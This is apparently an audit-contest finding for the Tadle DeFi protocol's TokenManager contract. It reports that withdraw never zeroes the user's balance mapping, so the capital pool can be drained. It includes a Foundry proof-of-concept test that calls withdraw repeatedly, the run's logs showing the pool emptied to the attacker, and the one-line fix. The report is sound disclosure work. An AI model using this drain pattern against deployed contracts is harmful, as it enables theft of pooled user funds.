Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

The pool can be drained.

Summary

attacker can steal funds of pool

Vulnerability Details

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType];//@audit dont reduce this
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

As can be seen, the vulnerability is that the mapping userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] never decreases the amount. Hence, a malicious user can drain the pool

This is an example of how an attacker can steal funds

First, in the setup, add these lines of code

vm.startPrank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPoolProxy.call(abi.encodeWithSelector(
APPROVE_SELECTOR,
mockUSDCToken
));

Then, we create a test and run forge test -vv

function test_drain_pool() public {
vm.startPrank(attacker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
console2.log("balance before attacker:",MockERC20Token(mockUSDCToken).balanceOf(attacker));
uint256 beforeAttacker = MockERC20Token(mockUSDCToken).balanceOf(attacker);
console2.log("capitalPool before:",MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool)));
uint256 before = MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool));
console2.log("attacker:");
//console2.log(tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken),TokenBalanceType.MakerRefund));
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken),TokenBalanceType.MakerRefund);
console2.log("balance after attacker:",MockERC20Token(mockUSDCToken).balanceOf(attacker));
uint256 afterAttacker = MockERC20Token(mockUSDCToken).balanceOf(attacker);
console2.log("capitalPool after :",MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool)));
console2.log("userTokenBalanceMap:",tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken),TokenBalanceType.MakerRefund));
uint256 after1 = MockERC20Token(mockUSDCToken).balanceOf(address(capitalPool));
console2.log("loss fund capitalPool :",before-after1);
console2.log("win fund attacker :",afterAttacker - beforeAttacker);
vm.stopPrank();
}

the resul is

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_drain_pool() (gas: 1116396)
Logs:
balance before attacker: 99999999975625000000000000
capitalPool before: 24375000000000000
attacker:
balance after attacker: 99999999997225000000000000
capitalPool after : 2775000000000000
userTokenBalanceMap: 7200000000000000
loss fund capitalPool : 21600000000000000
win fund attacker : 21600000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.33ms (1.99ms CPU time)

Impact

attacker can steal funds of pool

Tools Used

manual review

Recommendations

add userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType]= 0; in the function withdraw

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType];//@audit dont reduce this
+++++++ userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType] = 0;
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.